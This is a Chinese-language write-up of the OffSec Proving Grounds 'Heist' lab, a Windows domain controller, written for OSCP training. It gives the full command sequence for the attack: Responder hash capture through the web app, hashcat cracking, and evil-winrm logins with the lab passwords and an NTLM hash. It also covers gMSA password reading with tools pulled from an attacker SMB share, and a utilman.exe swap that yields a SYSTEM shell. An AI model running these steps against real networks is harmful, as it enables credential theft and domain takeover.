OSCP Heist Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Heist

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

利用靶机 HTTP 服务访问靶机 Responder HTTP 端口 –> 抓取 NET NTLM 认证包,hashcat 破解 –> 系统 enox 用户权限 –> 用户旗帜

权限提升:

enox 对 SVC_APACHE$ 用户 ReadGMSAPassword 权限 –> 系统 SVC_APACHE$ 用户权限 –> SeRestorePrivilege 本地提权 –> 系统 system 权限 –> 管理器旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sudo nmap -p- 192.168.166.165 --min-rate=2000

PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
8080/tcp open http-proxy
9389/tcp open adws
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49677/tcp open unknown
49704/tcp open unknown
49759/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,8080,9389,49666,49667,49673,49674,49677,49704,49759 -sCV 192.168.166.165

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-23 06:24:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HEIST
| NetBIOS_Domain_Name: HEIST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: heist.offsec
| DNS_Computer_Name: DC01.heist.offsec
| DNS_Tree_Name: heist.offsec
| Product_Version: 10.0.17763
|_ System_Time: 2025-09-23T06:25:33+00:00
| ssl-cert: Subject: commonName=DC01.heist.offsec
| Not valid before: 2025-09-22T06:18:30
|_Not valid after: 2026-03-24T06:18:30
|_ssl-date: 2025-09-23T06:26:11+00:00; -2s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-server-header: Werkzeug/2.0.1 Python/3.9.0
|_http-title: Super Secure Web Browser
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49759/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

系统为 Windows 域环境,开放有 HTTP、WINRM、RDP 和 Windows 域控的一些默认服务。

域控信息:

1
2
3
4
# 域控域名
heist.offsec
# 域控 KDC
DC01.heist.offsec

3.2 渗透测试突破边界

3.2.1 HTTP 服务抓取 Windows Net NTLM Hash

本地添加靶机域控域名、KDC 解析。

1
echo "192.168.166.165\tdc01.heist.offsec heist.offsec" | sudo tee -a /etc/hosts

靶机 SMB、LDAP 服务枚举过程未发现有价值信息,访问靶机 HTTP 8080 时,发现可通过 web 访问外部链接资源,在靶机开启 responder 监听,然后通过 web 访问 kali responder HTTP 服务,抓取到 enox 用户 Net NTLM V2 Hash。

1
sudo responder -I tun0

将 Net NTLM V2 Hash 保存至文本,通过 hashcat 破解得到 enox 用户明文密码。

1
hashcat hash ~/Desktop/rockyou.txt

使用 evil-winrm 连接靶机(enox 权限)。

1
evil-winrm -i 192.168.166.165 -u enox -p california

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Enox 用户 ReadGMSAPassword 权限获取 SVC_APACHE$ 用户密码

为了方便后续文件传输,可以在 kali 开启 SMB 文件共享,靶机连接 kali SMB 服务可以上传和下载需要的文件, 注意: 有时靶机防火墙设置拒绝 139/445 端口出站,而 Windows net use 命令固定使用 139/445 端口,这将导致无法连接 kali SMB 共享,这个时候只能通过其他方式传输文件。

1
impacket-smbserver share ./ -smb2support -username kali -password kali

将 sharphound 上传至靶机, 注意: kali 自带的 sharphound 收集到的信息无法导入老版本 bloodhound。

1
2
3
net use \\192.168.45.227\share /user:kali kali
copy \\192.168.45.227\share\SharpHound.exe .\
.\SharpHound.exe -c all

使用 bloodhound 分析收集到的日志,发现 SVC_APACHE$ 用户对域控也具有远程管理权限,而且 WEB ADMIN 组对该用户具有 ReadGMSAPassword 权限。

点击 WEB ADMIN 组,发现 enox 属于该组成员,意味着 enox 对 SVC_APACHE$ 用户具有 ReadGMSAPassword 权限,利用该权限可读取 SVC_APACHE$ 用户 Hash。

参考链接:

1
https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/index.html?highlight=ReadGMSAPassword#group-managed-service-accounts-gmsa

使用以上参考链接或点击 bloodhound 帮助信息均可得到利用步骤,在 kali 利用该权限读取 SVC_APACHE$ 用户 Hash 时,工具均提示失败,只能上传工具至靶机,在靶机本地使用 GMSAPasswordReader 工具成功读取到 SVC_APACHE$ 用户 Hash 。

工具获取:

1
https://github.com/Flangvik/SharpCollection

1
.\GMSAPasswordReader.exe --accountname SVC_APACHE$

通过 evil-winrm 登录靶机(SVC_APACHE$ 权限)。

1
evil-winrm -i 192.168.166.165 -u SVC_APACHE$ -H D871B9AF745F0F6B0EB97F368E81B684

3.3.2 SeRestorePrivilege 本地提权获取系统 system 权限

通过 whoami /priv 发现 SVC_APACHE$ 用户具有 SeRestorePrivilege 特权。

SeRestorePrivilege 和 SeBackupPrivilege 区别:

1
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html?highlight=SeRestorePrivilege#serestoreprivilege

利用 SeRestorePrivilege 特权可修改系统任意文件,由于靶机存在 RDP 服务,我们可以替换粘滞键或放大镜,然后在 RDP 登录窗口获取系统 system 权限。

攻击参考链接:

1
https://www.davila.me/

注意事项: 在某些情况查看系统特权时,发现 shell 存在 SeRestorePrivilege 特权但状态为 disable,此时需要执行以下 powershell 脚本启动特权,针对该靶机测试不需要执行脚本即可修改系统任意文件。

1
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1

C:\Windows\System32\cmd.exe 修改为 C:\Windows\System32\utilman.exe注意: 不能使用 copy 只能使用 move。

1
2
move utilman.exe utilman.exe.back
move cmd.exe utilman.exe

连接靶机 RDP 服务,在窗口输入 Win + U ,即可得到系统 system 权限 shell。

1
rdesktop 192.168.166.165

利用 system shell 修改系统 administrator 用户密码。

使用 evil-winrm 登录靶机(administrator 权限)。

1
evil-winrm -i 192.168.166.165 -u administrator -p nihao@123

3.3.3 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨